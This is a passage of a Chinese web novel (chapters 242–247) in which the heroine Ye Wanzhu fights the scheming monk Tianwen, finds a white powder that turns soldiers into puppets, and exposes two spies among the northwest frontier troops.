他不过就离开了这么一会儿功夫,这道观里怎么就乱成这样了? “师父!师父救我!” 德慧小和尚终于看见了亲人,张开双手朝着天问大师狂吼,又好像想到了什么,倏忽间又把嘴巴紧紧闭上了。 叶晚竹并未错过他这个举动,抬手一翻,绑在德慧小和尚脖颈上的铁链又被她扯紧了几分。 “大师,我想好了。” 几步走到那白色烟尘波及不到的范围之内,叶晚竹平静地对上天问大师的眼睛。 她想好什么了? 饶是天问大师再胸有沟壑,这会儿也被接二连三的意外冲击得有些反应不及,定在原地片刻,才在叶晚竹越发笑意深沉的眼神中回过神来。 叶晚竹说的是他先前让她考虑加入的那件事。 “威远王,你一意孤行,会后悔的!”他死死地咬着后槽牙道。 看眼下这幅模样,叶晚竹是绝对不可能加入的,相反,先前的一切,都是她在欲盖弥彰。 他竟然被一个女子耍了! 叶晚竹这时候又笑了笑。 “大师好像是个聪明人,不如咱们换换,你来跟我合作,怎么样?” 第二百四十二章 这地方到底有没有叛党? 饶是天问大师已经有所准备,听着叶晚竹的话,也还是不能自控地黑了脸色。 “放肆!”无尘大师更是低声怒喝,“无知女子,休得胡言乱语!” “你又是哪位?” 眼神一转,叶晚竹又朝着无尘大师上下扫视一眼,轻笑一声,讥讽不言而喻。 无尘大师的表情又变得难看了些。 “够了。” 天问大师沉声开口,面上终于再也看不见半点笑容。 他上前一步,朝着叶晚竹伸出手,“放开德慧,我留你一条性命。” “大师好大的口气,”叶晚竹静静地回望过去,“我若是再多耽搁一会儿功夫,这句话,应该就要换成我来说了吧?” 这个时候,山中纷乱的声音已经传到了白云观中,叶晚竹能清清楚楚地听见将士们的呼喊,逆党二字不绝于耳。 “大师,我刚才的建议,你要不要考虑一下?” 叶晚竹笑得越发从容起来。 这个时候,她才有功夫仔细看看天问大师这张脸,顿时也对他的年龄产生了一些怀疑。 这人浑身都透露着古怪,也不知道究竟是什么来头? 天问大师皱着眉头,与叶晚竹对峙着,眼底忽然出现了一抹破釜沉舟的决然。 叶晚竹见状一愣,心道不好,扯着德慧朝后走了两步,一边看着天问大师伸手朝怀中摸去—— “里面的狗贼!你们已经被包围了,出来投降!” 几乎是同一时间,粗犷有力的声音也在白云观外响了起来! “啪”地一声响,叶晚竹眼前有白光骤然一闪,还没等她反应过来,手腕便立刻传来一阵剧痛! 倒吸一口冷气,叶晚竹反手一拧,对方的手指却如同钢铁般不可撼动! “师父!” 德慧小和尚的喊声响起,叶晚竹怀中也不可控制地一轻。 知道眼前人是天问大师,叶晚竹忍着手腕上的剧痛,另一只手抬高了抡过去—— “啪!” 又是一声脆响,叶晚竹掌心发麻,重重地拍在天问大师的脸上! “在这儿!”一击得手,她立刻大喊一声! 白云观外,徐将军听着里面混乱的动静便知道不好,带着人二话不说便冲进院中,还没等多看一眼,就听见了这尖厉急促的喊声。 顾不上多想,徐将军拔刀就朝着那团白雾劈砍过去,动作做完,他心里才模模糊糊地转过一个念头。 这声音,有点耳熟啊? 刀锋挥动带来的风声从身侧掠过,叶晚竹猛地感到那只死死抓着自己手腕的手消失了。 “呸!这是什么玩意儿——” 一只手伸进白雾之中挥了挥,一边低声咒骂,叶晚竹也抬手动作两下,待白雾散开,便和徐将军对上了视线。 二人又愣了愣。 “徐将军……”叶晚竹在记忆中搜寻了一番才开口。 “您是——景平王妃?” 徐将军的语气更是犹豫,一双眼睛不住地在叶晚竹面上扫来扫去。 叶晚竹见状便点了点头。 和在京中的狄文将军一样,这位徐将军也是她在西北的时候认识的。 所以说,外面的那些,是从西北来的边军? “将军怎么会在这儿?”叶晚竹皱了皱眉。 徐将军这会儿却没顾得上和叶晚竹说话,他终于看见了院中的景象,不由得大大地张开了嘴巴—— 整个院落中这会儿都被白雾笼罩,包括天问大师在内,方才那些和尚们站着的地方都被一团白雾取代了。 那雾气凝而不散,似乎是一个个人形,立在院中,看起来说不出的诡异。 “这,这是啥?”徐将军的眼睛也瞪大了。 他在西北戎马半生,只知道打仗守城,难道,难道京城这会儿已经发展到了能大白天的活见鬼的地步了? 叶晚竹的目光从这些白雾气团上一扫而过,最多只停顿了一刻,便扭过身子朝着背后那间小院看了过去。 能让德慧和武僧们紧张成那样,这院子里一定—— “快退!” 扭头便看到院门后又喷出道道白烟,一阵似有若无的草药气味传来,叶晚竹大喊一声,不知为何出了一身的冷汗。 直觉告诉她,这东西非常不对劲! 徐将军久经沙场,与叶晚竹也有着同样的感觉,一把扯过正在后退的叶晚竹,二人没命般地朝着院外而去! “后退!都后退!”徐将军扯着嗓子狂吼起来。 毕烽正带着人守在门外,听见徐将军如此惊慌失措的动静顿时浑身一震,跳起来招呼着将士们离开。 这些西北边军的将士们都是一路奔袭而来,刚刚结束了一场不算大的打斗,有人已经放松了警惕,听着这忽然出现的混乱动静,不由得愣住了。 下一刻,几道人影从白云观中冲了出来,紧接着,没有一丝预兆,白色的粉末铺天盖地般炸开! “呃——” 没来得及离开的几个兵士瞬间就被粉末裹挟其中,来不及出声便软软地倒在了地上。 叶晚竹和徐将军等人一口气跑出老远,这才停下脚步,看着又一次被白雾笼罩的白云观,表情都十分难看。 “怎,怎么回事?” 一连喘了几口大气,徐将军才勉强反应过来,看着叶晚竹时一脸的惊魂未定。 叶晚竹眉头紧皱,方才在白烟升起的那一瞬,她似乎看到了那院中有什么东西摆在地上。 好像是……棺材。 “将军,景,景平王妃……这是怎么了?” 最倒霉的无疑是毕烽,他满脸写着茫然,先是认出了叶晚竹,而后才呆愣地朝着他们逃跑的方向看了过去。 白雾依旧笼罩在白云观上空,一阵微风吹过,没有半点要散开的意思。 这又是什么东西? 他们不是来缉拿叛党的吗? 方才,前锋虽然和那些身穿黑衣的影子打了一场,可对方不仅人数少,还且战且退,一副并没有要和他们对打的意思,只遛着他们在山中团团转。 眼下好不容易才找到这个白云观,却二话不说又炸了,还弄出如此诡异的景象。 毕烽双手叉腰,不由得又开始环顾四周。 这地方,到底有没有叛党? “有,有人!” 第二百四十三章 京城闹鬼了? 不知道哪个兵士这时候忽然惊叫一声,将所有人的注意力都吸引了过去。 叶晚竹看着那白雾中渐渐浮出几个人影,若隐若现,飘忽不定,却是在朝着他们这边而来。 “好像是咱们的人?” 徐将军眯着眼睛,努力地辨认着那白雾中的影子,似乎是穿着边军的甲胄。 刚才那爆炸虽然没头没尾,但动静并不算大,房子没塌,人没炸死也是正常的。 松了口气,徐将军便要走上前去接应。 “别动。” 叶晚竹这个时候却猛地抬手拦住了他的动作。 “这些人不对劲。”她朝着那白雾中抬了抬下巴。 不对劲? 徐将军一怔之下,连忙转头看去,这回果然也发现了异样。 这个时候,从白雾里走出来的人影变得越来越多,距离他们这边也越来越近了,可这些人影却迈着无比整齐的步伐。 或者说,不是整齐,是完全一样! 连同叶晚竹在内,这会儿站在路旁的所有人都从过军,大梁的军队再令行禁止,也不可能做到这样的一致。 所有人抬脚的动作,挥动手臂的方向都能完美地重合在一起,就连呼吸的频率也是一模一样。 看得久了,这些人的举动僵硬而毫无变化,只是一下下地脉动脚步,好像都已经变得不像是人了。 这到底是怎么回事? 徐将军咬紧牙关,看着自己手下的这十几个将士。 这个时候,他们已经沿着山道走到了徐将军等人面前,隔着不超过五步的距离,这一行将士却眼神空洞,神情麻木,似乎压根没有看到站在旁边的主帅等人。 他们的脚步依旧不紧不慢,一步步地朝前踏着。 再也忍不住,徐将军吸了口气,正要开口,走到他们身边的一个兵士却猛地朝他扭过头来! 这兵士的眼珠似乎已经不会转了,漆黑的瞳孔中虽然倒映着徐将军震惊的脸色,但他本人却完全没有任何反应,就这么静静地对视着。 别说是主帅和小兵,就算街上两个素未谋面的陌生人正面对上,恐怕都不会有人露出这种表情。 徐将军想出口的话全都卡在了喉咙里,咽了咽口水,也死死地盯着眼前的士兵不放。 “哗啦”一声,一块石头从相反的方向滚落在地。 那个兵士立刻转过头去,一双不聚焦的眼睛又盯着那个方向,一动不动地看着。 走在他身后的几个兵士这时候赶了上来,好像看不到前面有人似的,步伐僵硬地撞开这个被石头吸引了全部注意力的兵士,继续一模一样地朝前走去。 见状,徐将军连忙屏息凝神,不敢再发出半点声音,免得又被哪一个发现。 那个小兵足足盯着那石头的方向看了大半晌,直到周围一点儿声音都不再响起,他才转过脑袋,沿着已经看不见同伴的那条路走了过去。 眼见他一步一步,彻底消失在山道上,叶晚竹这才松开手,将剩下的几块石头丢回地面。 不算响亮的动静却让徐将军猛地打了个哆嗦! “这,这是怎么了?” 一只手指着无影无踪了的兵士们,徐将军似乎是有心想喊,脖子却好像让人掐住了一样,几乎要发不出声音。 任谁看,这些兵士的状态也非常不对劲! 叶晚竹摇了摇头,又低声道,“他们都是被那白雾炸到的人、” 方才这些兵士们一路走过来,每个人脸上,身上,都挂着不少白色的粉末。 这是什么东西,沾染上之后,就能把人变成这幅鬼样子? 徐将军的嘴巴张了又合,想说什么,却又不知道该怎么开口。 这是叛党? 是妖怪吧? “王妃啊,这到底是怎么了?方才白云观里的那些是什么人,京中,京中又出了什么事?” 确认那些诡异的兵士们真的已经走远了,毕烽快步上前,对着叶晚竹便是一串问题涌了出来。 他眉头紧皱,表情也分外严肃。 叶晚竹顾不上跟他说自己的新身份,倒是抬手朝着下山的方向一指。 “这些人明显是靠声音辨认方位的,毕副将,你快派人传信,让山中的将士们不要出声,更不要靠近他们!” 刚才那个盯着徐将军的兵士,显然没有一点儿正常的地方,若是惊动了他们,还不知道要发生什么样的事情! 想着方才那一幕幕,徐将军的表情也变得越发难看起来。 “快去,再让人远远地跟着他们,看看他们这是要去什么地方!” “是!” 这两位的表情都十分难看,毕烽见状不敢再多说,小跑着要走,又被叶晚竹喊住。 “动作放轻,不要弄出响动!” 毕烽踮着脚尖,做贼一样地走了,徐将军望着他离开的方向,神情中渐渐地显出了一抹忧虑。 “王妃,京中现在到底是怎么回事?”片刻后,收回目光,徐将军又问起了这个问题。 从进到这座禹山开始,一切似乎都变得诡异了起来。 叶晚竹并未答话,一双眼睛定定地注视着徐将军,似乎要把他的一切都看穿。 她的目光太过灼热,徐将军忍不住也看了过来。 “怎,怎么了王妃?” “你们怎么会到京城来?” 叶晚竹方才看了一圈,已经确认了这会儿被徐将军带到京城来的,就是西北边军。 从徐将军驻军的边关赶到京城,就算是快马加鞭的信使,少说也得跑上十天半个月,就更不要说是这么多大军了。 徐将军闻言又皱了皱眉。 先前他的确没多想,但经过毕烽那一番话,又亲眼见着刚才的种种,徐将军这会儿有点拿不定主意了。 “王妃又怎么会在这里?” 心思一转,徐将军忽然朝着叶晚竹看了过去。 堂堂王妃,为什么会只身出现在这禹山中,而且还一身狼狈? 刚才在白云观里的那些白雾,又是怎么回事? 四目相对,猜忌同时出现在两人眼中。 见状,叶晚竹挑眉率先打破了僵局。 “徐将军这一路走来,可曾听到过身边传出什么风言风语?” 第二百四十四章 她怎么在这儿? 风言风语? 愣了一下,徐将军的脑海中下意识地浮现出了上山时毕烽说过的那些话。 他的表情在瞬间就变得古怪了起来。 见状,叶晚竹什么都明白了。 “京中发生的事情的确不好,但将军现下一定心中忐忑摇摆,我说的话,将军未必会信,与其互相猜忌,倒不如您自己去看。” 调动西北边军起码也是两个月前发生的事情,那个时候,孟希越在京中还能占据一定的主导地位。 若他真有取代昭德帝的打算,不可能不往西北提前布局。 毕竟,和南郡的兵马大多唯孟希越马首是瞻一样,由昭德帝亲手带出来的西北边军,对圣上的忠诚几乎是无可撼动的。 而按照孟希越的行事风格,他要对边军动手,肯定会先从主帅入手。 在设计景平王府众人的时候,除了叶晚竹身边安插不进人手,从萧子景到萧延,每个人身边都有一个吹耳旁风的角色在起作用。 眼下轮到徐将军,给他吹耳旁风的人是谁? 叶晚竹的眼神朝着下山的方向瞟了瞟。 “我的话将军不要尽信,别人的话,您也不要尽信,暂时保持中立,如何?”她又很快地将注意力放回到徐将军的身上。 “我只能告诉将军一件事情,十五万南疆大军正在围困京城。” “你说什么?” 徐将军原本还在因为叶晚竹这几句话而满脑子官司,闻言顿时又瞪大了双眼。 南疆大军,围困京城? 这两件事情是怎么能有关系的? 叶晚竹一本正经地点了点头,神情严肃,又让徐将军不得不相信她的话。 怎么会这样? “刚才那些也是朝着京城的方向去的。”叶晚竹这个时候又朝着那些诡异的士兵的方向点了点下巴。 这奇怪的白雾怎么看都像是来自南疆的东西,再看那些兵士的去向,叶晚竹很难不把这两者结合到一起去。 “将军,无论如何,京城被围困的危机先解除,剩下的事情,咱们日后再说,怎么样?” 眺望着京城的方向,徐将军沉吟片刻,狠狠地一点头! “好!传令,整军下山!” 见状,叶晚竹放下心来,看着兵士们纷纷动作起来,她却后退了两步。 “王妃要去什么地方?”徐将军几乎是立刻就转过头来。 被他目光锁定,里面还带着不曾褪去的怀疑,叶晚竹笑了笑,神情却很平静。 “有将军在,京城困局定能缓解,我还是不去惹人猜忌了,况且还有一件更加重要的事情要做。” 什么事情? 徐将军的眼神随着叶晚竹的手势而动,很快又朝着白云观看了过去。 他随即又惊异地瞪大了眼睛。 那笼罩在白云观上空的白雾,竟然还没有散开! 这些到底是什么东西? “将军!” 山下方向这时候来了一个小兵,跑得气喘吁吁的。 “那些,那些……”他哽了一下,“他们要下山了,朝着通往京城城门的方向走了!” 果然! 猜测成真,叶晚竹也没感到有多高兴,只是转头又看向了徐将军。 “白云观中发生的一切,十有八九也和南疆有关,我猜,跟着那些兵士,或许能找到南疆大军的所在。” 禹山在南疆军的包围圈之外,若是徐将军能从后面突袭,少说也能让他们应接不暇一番。 闻言,徐将军眼神闪动,这回没怎么犹豫就点了点头。 “王妃一切小心。”他再和叶晚竹说话的时候,语气便认真了一些。 没再耽搁时间,叶晚竹和徐将军各自离开。 小心翼翼地沿着已经听不见任何响动的山道往白云观折返,叶晚竹又变得屏息凝神起来。 方才天问大师消失的时候,他和那些和尚们身边也曾经炸起白雾,叶晚竹甚至被笼罩其中,却并没有什么变化。 问题一定是出在那间小院里。 那诡异的白雾依旧笼罩在半空中,却也只在那小院上空,叶晚竹换了个方向,翻墙又进了白云观,隔着不远不近的距离,眯眼朝院中看了过去。 她匆匆一瞥的棺材还放在院子中央,盖子却好像打开了,这些白雾似乎就是从里面飘出来的。 想了想,叶晚竹又捡着石头,朝那棺材中丢了过去。 这个距离不能完全命中,石子落地很快就激起了阵阵清脆的声音,在空寂的院中显得十分刺耳。 一连丢出去四五个,叶晚竹最后一次出手,终于把石块扔进了敞开的棺材里。 “咚”地一声闷响传来,听着这个动静,叶晚竹有些愣住了。 那棺材里有东西,听上去,好像是某种柔软的成分—— 还没等她思索,白雾忽然晃动了几下,接下来,在叶晚竹缓缓放大的瞳孔中,一只手从棺材里伸了出来,用力地扶住了边缘! 棺材里有活人,这件事已经足够惊悚,可等这位再坐起身来,露出真面目,叶晚竹的呼吸便更是紊乱了起来。 阮莹莹? 她怎么会在这里? 不对,她居然没死? 在景平王府,是叶晚竹亲手打晕了阮莹莹,再把她留在即将燃烧的默言阁之中的,她居然能在那样的情况中活下来? 可等叶晚竹又多看了两眼,她顿时又有些不确定了。 阮莹莹这是还活着吗? 慢吞吞地从棺材里坐起来,阮莹莹就保持着那个有些僵硬的动作,除了胸膛更加缓慢地一起一伏之外,她便几乎没有其他的举动。 伴随着她的呼吸,小院上空笼罩着的白雾似乎变得更加浓郁,范围好像也有所扩大。 许是因为她坐了起来,棺材附近的白雾也开始变浓,从叶晚竹的这个方向,很快就看不到阮莹莹的身影了。 不过看到这些也够用了,叶晚竹再次屏住呼吸,弯着腰朝更加安全的地方撤退。 阮莹莹这模样十分诡异,显然和天问大师等人脱不开干系。 这些人,到底想干什么? 刚退到墙边,叶晚竹的动作却忽然又是一顿。 天问大师从白云观外正大光明地走了进来! 那铺天盖地的白雾似乎对他没有任何作用,他闲庭信步一般又走进那小院之中,抬手把阮莹莹按回棺材里躺好了。 “走吧。”他轻言细语,眼神却忽然朝着叶晚竹的藏身之处扫了过来。 第二百四十五章 你们怎么来了? 叶晚竹下意识地缩了缩脖子,却听得天问大师轻笑了一声。 “躲躲藏藏,可不像是威远王的作风啊。” 话音未落,他却已经飞身而起,无声无息地朝着叶晚竹冲了过来! 见状叶晚竹也不躲了,起身应战,抄起方才被遗落在白云观外的长刀便朝着天问大师迎头砍去! “殿下好身手啊。” 天问大师这会儿又恢复了不紧不慢的语气,甚至又带上了淡淡的笑意,手腕翻转,空手接下了叶晚竹那一刀,顺便反手拍向她胸口! 叶晚竹不得不回身格挡,受伤的手腕再次猛烈地疼了起来。 她咬牙忍住不适,举刀的手再次平砍而去,天问大师却也幽幽地后退几步避开。 “你打不过我的。” 看着叶晚竹脸色微微发白的模样,天问大师面上又露出了一丝淡淡的笑容,平静地陈述着。 “那就来试试。” 又将手中长刀握紧了些,叶晚竹眼底漫上了背水一战的凶狠。 天问大师却举起双手,又叹了口气。 “贫僧真的没有要和殿下你死我活的打算,以殿下的本事,能用在更好的地方,有更大的作为,为什么要拒绝呢?” 这人居然还没有放弃招揽她? 饶是情况正危机,叶晚竹也不由得稍微分了分心。 “你想让我替你做什么?”她将刀身放下几寸。 天问大师面上的神情变得更加从容了一些。 “殿下,”他复又上前两步,“不知道您有没有发现,在您的身上,有种天赋。” 天赋? 什么天赋? 叶晚竹还从来没听过有人对她这般说话,再配上这幅腔调,像是个学艺不精,又急着卖弄的算命先生似的。 “没有。”她语气十分果决。 天问大师似乎是微微哽了一下,才继续道:“殿下似乎特别能牵动旁人的情绪,您不妨想想,是不是如此?” “所以,你想让我做什么?” 不得不又深吸了一口气,叶晚竹选择绕过天问大师这些故弄玄虚的问题,径直开口发问。 又被打断一回,天问大师这会儿的表情已经有了要龟裂的迹象,看着叶晚竹的眼底也现出了阴沉。 看着他的脸,叶晚竹忽然笑了一声。 “现在,我倒是相信了。” 这位大师生气得未免也太快了些。 立刻就明白了过来,天问大师眉头一皱,似乎也跟着放弃了自己的手段。 “倘若殿下和贫僧合作,贫僧便将这一切原原本本地告知于殿下,您意下如何?” 叶晚竹抬眸看向天问大师手指着的方向,正是阮莹莹还躺着的那个小院。 “她到底死了没有?” 眸光微怔,叶晚竹停顿片刻,才将注意力转移回天问大师的身上。 “殿下觉得呢?” 天问大师的故弄玄虚显然是已经修炼到了登峰造极的地步,最多只能忍耐一句话的功夫,便又显出了原形。 “我觉得?”叶晚竹也有些忍无可忍了,“我觉得,大师若诚心找人合作,至少应该把话说清楚,靠骗得来的同伴,你自己会相信吗?” “还是说,大师根本也就没有要相信我的意思?” 说到这一句话,她的眼神又变得锐利起来。 天问大师拧起眉毛,“看来咱们的合作注定是成不了了,既然如此,殿下,您可别怪贫僧心狠手辣。” 语气依旧平平,天问大师的动作却迅猛如闪电,叶晚竹还没看清什么,他便已经再次朝前冲了上来! “当啷”一声脆响,天问大师手中不知道什么时候握起了一把匕首,此时却掉落在地,刀身从中间断成了两截。 怎么回事? 捂着胸口倒退两步,天问大师震惊地抬起头来,看着忽然出现在叶晚竹身前的两道影子。 “鼠辈,竟敢伤人?” 同样举着匕首的女子一身利落白衣,眉宇间也满是果断,“你是何人?藏头露尾,是也知道自己办的是见不得人的事情吗?” “你们又是何人?” 天问大师说话的时候声音有些哑,看样子是被刚才那一下震到了心脉。 “你看不出来吗?” 站在另一边的男子同样是一身白衣,畅快地笑了一声。 “那就再仔细看看好了!” 一边说着话,他再次飞身而起,手中长鞭一甩,又朝着天问大师的脖颈而去! 他动作轻灵,几乎是无声无息,天问大师的表情一变,抬手又摸向怀中。 “他有脱身之计!”见着这熟悉的动作,叶晚竹连忙大喊一声。 她话刚出口的瞬间,白衣女子轻叱一声,手中匕首甩出,直直朝着天问大师的手腕! 与此同时,那男子的鞭子也到了,末端挟着刚劲之力,将天问大师的衣袍都带得翻卷起来。 见势不妙,天问大师身子一拧,以一个极其诡异的姿势,愣是侧身躲开了这一鞭! 如此他便不能再躲开那匕首,天问大师也没打算好事成双,拼着手腕被重重一击的代价脱了身,到底还是从怀中掏出一样什么东西,往地上狠狠摔去! “师兄快退,小心有毒!” 白雾又一次在院中炸开,听着叶晚竹的又一声警告,那男子脚步却不停,凭空跃得更高,超过白雾范围,纵身朝着天问大师追了过去! 可等他穿过白雾,那小院大门紧闭,一脚踹开之后,天问大师和棺材都消失了个干干净净。 “师兄!” 叶晚竹这时候也赶了过来,“那白雾能夺人心魄,你没事吧?” “你怎么还是如此好战!”那白衣女子也跟着皱眉低斥。 这两位正是叶晚竹长居江南的师兄师姐。 “你们怎么来了?” 确认两人安全无恙,叶晚竹这才问道,“虎子和春桃呢?” 先前她带队去往南疆,将虎子和春桃派到江南去吸引安王的注意力,后来两人便一直在江南停留,伺机而动。 “给你写的信一个多月都没回复,信鸽也不见了,我就知道十有八九没什么好事。” 师姐柳寻雁快人快语,“正好你那两个伙计也待不住了,我们干脆就跟着一起过来,本想趁机小聚一番,却没想到竟然——” “什么人?” 第二百四十六章 不对劲,都不对劲! 她的话还没说完,便被一声厉喝打断了。 人影从自己面前一晃而过,叶晚竹转头看去,立刻大喊一声,“师兄且慢!” 岑灵川此时已经跃到大门前,手中短刀举在半空中,听见叶晚竹这话,连忙收了气势。 “王,王妃……” 站在门外的俨然是个西北边军的小兵,看样子是一路狂奔着过来的,胸口还在不断地起伏着。 他人却已经被岑灵川方才的攻势吓傻了眼,站在原地一动不动,浑身上下也哆嗦得不像话。 “鲁莽!” 柳寻雁的语气又变得气急败坏,“你什么时候才能稳重一点?” 自知有过,岑灵川讪讪地束着手不说话,任凭柳寻雁用刀子一样的目光在身上来回剐着。 天清子大师座下从前便没有太多徒弟,如今还在的,加上叶晚竹,便只有她们三个人了。 叶晚竹又长居京城,几年不见,师兄师姐仍是未变。 多看了一眼两人斗法的场面,叶晚竹叹了口气,招手让那个西北军的小兵上前。 “怎么了?”她沉声问道。 禹山不算太大,这会儿功夫,西北军的人马应该都已经撤了下去,要跟着那些奇怪的将士往京城方向而去了。 “王妃……” 直到听见叶晚竹的声音才回过神来,那小兵的双腿却哆嗦得更加厉害,额头上冒出了大颗大颗的冷汗。 “那,那些兄弟们,忽然全都死了!” “你说什么?” 叶晚竹闻言不由得皱起了眉头。 小兵用力点着脑袋,嘴唇煞白,眼神也十分慌张。 “我等悄悄地跟着他们一起下了山,他们的方向也确实是朝着京城去,徐将军带队不远不近地跟着,所有人都没发出声音,保证他们什么都没听见!” “可,可就在他们穿过京城外那片林子的时候,我们刚过去,就看到他们倒在地上,七窍流血,全都死了!” 又是慌张又是恐惧,这小兵的话说得颠三倒四的。 他表情惊悚,柳寻雁和岑灵川也顾不上斗嘴了,皆是一脸疑惑地看了过来。 叶晚竹倒是能明白这小兵的意思。 从禹山通往京城城门,只有一条官道可以走,而那条路要穿过一片相对密集的林区。 那林子里的路不太好走,弯弯曲曲的,好在并不算长,想来徐将军是怕跟在那些奇怪的将士们身后入林会被发现,因而选择等他们穿过密林,再带队跟上。 “所以,他们就在这个时间差里,全都死了?” 听完叶晚竹的解释,柳寻雁明白过来,高高挑着一条眉毛看向那小兵。 “尸体上可有伤口?能判断他们的死因吗?” 这位是什么人? 那小兵眨巴着眼睛看了过去,目光在柳寻雁陌生而干练的面上扫了几眼,又带着畏惧看向她身边的岑灵川。 他跑得半死才赶上来给景平王妃送信,却差点儿被这个一脸嚣张,一看就不好惹的男人给砍了。 这女子似乎跟他是一伙儿的,他们—— “这是可信之人,你有话直说就是。” 看出这小兵的犹豫,叶晚竹连眼睛都没眨上一下。 若师兄师姐也不可靠,那她在这大梁之中,能相信的人就更是寥寥无几了。 闻言,小兵忍不住又偷偷打了个哆嗦。 敢情景平王妃跟他们俩也是一伙儿的! 那这…… “你说不说?” 岑灵川这辈子还没听说过什么叫忍耐,看着这小兵一脸犹犹豫豫的模样顿时就变了脸,飞起一脚拍在他屁股上、。 “利索点!跑这么费劲才上来,不说正经事,你消遣我们玩?”他威胁地瞪大了眼睛。 那小兵又哽了哽这才开口。 “尸体,尸体上什么都没有!”他却是看着叶晚竹在说话,“毕副将带人检查了所有尸体,没有伤口,也没有中毒的迹象,他们好像,好像是同时断了气!” 什么样的招式能让这么多人同时断气? 柳寻雁和岑灵川不由得交换了一下眼神。 自从来到这附近,越是靠近京城,两人便越是能感到气氛诡异。 这份不祥的感觉甚至让他们提前将虎子和春桃在附近的镇子里安置了下来,自己则是隐藏行踪,悄无声息地寻找叶晚竹的踪影。 眼下,不祥的预感成了真,这京城,怕是真的出了大事。 两人目光交错的时候,叶晚竹还在跟那小兵说话,她又问了几句,这小兵却也说不出什么其他的东西来了。 “徐将军不敢再贸然前进,这才派小的回来给王妃送信,请您拿个主意!” 小兵仰着脑袋,目光祈求。 “王妃,您快过去瞧瞧吧!” “你先回去报信,我马上就到!”点了点头,叶晚竹目光沉着。 这小兵闻言却眼神微闪,似乎是想说些什么,最后还是一点头,转身又快步朝着山下跑去。 “这是西北边军的人?怎么瞧着有问题啊?” 眼看着那小兵的身影消失,岑灵川双手抱臂,冰冷的目光还望着那个方向。 “这里到处都是奸细。” 摇了摇头,叶晚竹又跟着长叹一声。 “时间紧迫,我长话短说,刚才那个叫天问的假和尚居心不轨,到处安插自己的人手,京城已经被他和他的手下搅成了一团乱麻,时刻有出事的可能。” 叶晚竹语速飞快,岑灵川和柳寻雁听着听着,面上的表情也齐齐转为严肃。 “怎么会这样?”柳寻雁抿了抿唇,下意识地压低了声音,“圣上……还好吗?” 叶晚竹摇了摇头。 “京城已经是勉力支撑,师姐,师兄,我们需要你们的帮助。”她的目光依次从两人身上看了过去。 天问大师内力深厚,再加上那一肚子诡异的手段,对付他的人自然是越多越好。 “没问题!”岑灵川想都不想就答应下来,咧开嘴,笑容中莫名地带起了一丝阴森森的意味。 “刚才那秃驴瞧着嚣张得很,我也想看看,能弄出这种歪门邪道,他到底是个什么人!” “天问大师的事情等会儿再说,师兄,你现在先帮我去办件事——” 第二百四十七章 抓个现行! 小兵孙成正大步跑在从白云观下山的路上。 禹山虽然不高,但这么一来一去,连一口气都没多喘,也还是让他这会儿感到有些力不从心,双腿像是灌了铅一样。 饶是这般,他也还是咬着牙,用尽自己全身的力气快步向前。 只是他的方向,并不是朝着先前的那条下山路折返的。 从岔路口拐了弯,孙成越发气喘吁吁,捂着生疼的肋骨,脚下却没有半分停缓,继续朝着更深的山林中去。 他眼下走着的山路能通往白云观背后,这里人迹罕至,只有猎户才会经过,这会儿显得十分幽静。 孙成脚步沉重,啪嗒啪嗒地向前跑着,却时不时会慢下片刻。 或许是因为太安静了,他忍不住左顾右盼,四下张望着。 自从拐到这条路上,他总是觉得背后好像有一双眼睛在盯着自己。 可等转头看去,却又什么都没有发现。 “磨磨蹭蹭的,你在干什么呢?” 山路尽头站着一个影子,看穿着打扮,也是西北边军中的一份子。 “百,百户!” 忍住从两肋升起的火辣辣的疼痛,孙成又加快了几分脚步,朝着主管自己兵营的百户长一口气跑了过去! “怎么这么慢?交代你的事情都办好了?” 百户长的脸上写满了不耐烦,斜着眼睛在孙成面上来回打量了一番,又皱起眉头,“你这脸色是怎么回事?事没办成?” “办,办成了!消息已经带到景平王妃耳中去了。” 孙成诚惶诚恐地回答着,又小心翼翼地抬起头。 “只是……景平王妃身边多了两个不认识的人。” “不认识的人?” 这话显然让百户长十分意外,他歪着脑袋,眼中写满错愕,“什么人?军中的?” 想着自己看到的那一男一女的装扮,孙成果断地摇了摇头。 “好像是江湖人士,其中那个男人,说话很不客气。” 百户长这回不耐地又翻了个白眼。 “我还当是出了什么岔子,两个江湖中人,能翻起什么风浪不成?再有本事也只能跟着一起送死罢了!走,赶紧下山,别让徐将军发现,那才叫大事不妙!” 一边说着话,他又重重地在孙成背上推了一把,二人这才一前一后地朝山道而去。 这两人下山的路线选得更加隐蔽了,几乎是条无人走过的荒道,地上杂草丛生,路旁的荆棘看上去也是刚刚才被清理过。 可从这里下山却很快,没走多长时间,西北边军的影子便在密林边缘显现出来。 发现那些将士忽然死亡,徐将军的确不敢冒进,十五万大军本就不曾完全进入禹山,眼下,他正带着身边的七八万人马在林子后暂时落脚。 看着和自己离开时别无二致的队伍,孙成和百户长先是同时松了口气,而后便在一个人影朝自己走来的时候,又同时变了脸色。 “没看出来,二位虽然久在西北,对京城附近的地形,倒是比我这个本地人士还要了解得清楚啊?” 叶晚竹抱着双臂,笑眯眯地站在两人面前。 在她身后,徐将军一脸阴沉地走了出来,唇边的狞笑让人多看一眼都浑身打哆嗦。 “好啊,好啊,”他连连点着头,“你们可真是本将军的好手下!” 最多一盏茶前,徐将军只觉得眼前一花,还没等反应过来,叶晚竹便忽然出现在他面前。 “王妃,您这么快就——” “你派去山上给我报信的那个小兵叫什么?他不对劲。” 不等徐将军把话说完,叶晚竹便霍然打断他的问候,随后用更快的速度把刚才的情况说了一遍。 “我师兄跟着他走了,徐将军,若您愿意继续相信我,那就听我的。” 看着跟在叶晚竹身边的柳寻雁,徐将军最后又将脖子一梗,“行!” 他的确是让人去给叶晚竹送信,请她下山来看看了,可问题是,那人不是孙成! 这又是在闹什么幺蛾子? 于是乎,按照岑灵川暗中发来的指引,叶晚竹和徐将军便在此时将孙成和百户长堵了个正正好好! “你们这两个吃里扒外的东西!” 咬牙切齿着,徐将军的一张脸顿时扭曲得更加厉害,就连说话的声音也变得十分可怕。 “说,是谁让你们这么干的?你们又要做什么?” 见势不妙,百户长扭头就跑,孙成慢了一步,也连忙跟上! “还想逃跑?两个畜生!” 又骂了一句,徐将军正要大步上前,却又听得两声惨叫,百户长和孙成还没跑出去多远,便全都还了回来,被人一脚一个,重重地踢回徐将军面前! “跑得这么慢,也好意思瞧不起我们江湖人士?” 岑灵川吹着口哨从天而降,冷着脸走上前来,又在两人身上各自补了一脚! “老实交代!你们要干什么?” 岑灵川一脚一个踩在两人背上,双手叉腰,活像个山大王似的。 看着这位干脆利索的动作,徐将军的眼角不由得猛地跳了跳。 